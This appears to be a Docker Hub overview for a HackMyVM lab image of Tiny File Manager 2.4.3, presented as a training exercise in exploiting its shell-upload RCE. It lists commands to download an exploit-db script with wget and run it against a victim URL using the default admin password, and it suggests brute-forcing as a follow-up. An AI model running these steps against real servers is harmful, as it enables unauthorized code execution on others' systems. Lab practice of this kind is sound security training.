hackmyvm/tinyfm2.4.3 repository overview

⁠Intro

We will learn how to exploit a RCE that affects Tiny File Manager.

⁠Version in this image.

Tiny File Manager 2.4.3

⁠Affected Version.

Tiny File Manager <= 2.4.6

⁠Exploit

• https://packetstormsecurity.com/files/166330/Tiny-File-Manager-2.4.6-Shell-Upload.html⁠
• https://www.exploit-db.com/exploits/50828⁠

⁠Exploitation

1. Download the container

docker pull hackmyvm/tinyfm2.4.3

1. Start your container.

docker run --name tinyfm -it -p 8181:80 --rm hackmyvm/tinyfm2.4.3:latest

1. Download the exploit in your attacker VM:

wget https://www.exploit-db.com/raw/50828 -O exploit.sh

1. Give execution permissions to the script/exploit.

chmod +x exploit.sh

1. Run the exploit in your attacker VM:

./exploit.sh http://VICTIM_IP:8181/tinyfilemanager.php admin "admin@123"

⁠Thats all? So easy... What more?

• What if the password is not the default? Can you bruteforce it?
• Create your own exploit using another language like python/c/golang...
• What if you cant upload nothing? There are other ways to exploit it?

⁠Feedback/Support

If you want to give us some feedback or you need support feel free to join us at https://hackmyvm.eu/⁠